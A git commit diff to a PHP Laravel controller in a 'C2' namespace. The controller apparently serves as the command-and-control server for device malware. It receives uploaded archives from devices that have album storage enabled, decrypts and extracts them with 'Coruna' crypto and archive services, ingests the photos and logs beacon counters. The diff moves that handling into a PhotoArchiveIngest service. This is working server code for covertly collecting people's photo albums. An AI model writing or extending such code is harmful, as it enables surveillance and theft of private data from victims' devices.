feat: quene

This commit is contained in:
hashbro
2026-09-01 05:09:00 +08:00
parent 337bf45c79
commit e23550e820
28 changed files with 969 additions and 234 deletions
+19 -33
View File
@@ -3,9 +3,9 @@
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Services\CorunaArchive;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use App\Services\PhotoArchiveIngest;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
@@ -14,17 +14,17 @@ class C2Controller extends Controller
/** @var CorunaCrypto */
private $crypto;
/** @var CorunaArchive */
private $archive;
/** @var IngestService */
private $ingest;
public function __construct(CorunaCrypto $crypto, CorunaArchive $archive, IngestService $ingest)
/** @var PhotoArchiveIngest */
private $photos;
public function __construct(CorunaCrypto $crypto, IngestService $ingest, PhotoArchiveIngest $photos)
{
$this->crypto = $crypto;
$this->archive = $archive;
$this->ingest = $ingest;
$this->photos = $photos;
}
public function query(): Response
@@ -136,33 +136,19 @@ class C2Controller extends Controller
];
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
$bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
try {
$extracted = $this->archive->extract($bytes, $work, $batchBase);
if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
}
create_log([
'event' => 'check_extract',
'device_key' => $device->device_id,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'c2');
} finally {
CorunaArchive::forgetWorkDir($work);
}
$this->photos->accept(
$device,
(string) $request->file('file')->getRealPath(),
$batchBase,
$photoMeta,
'lab',
[
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
);
}
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes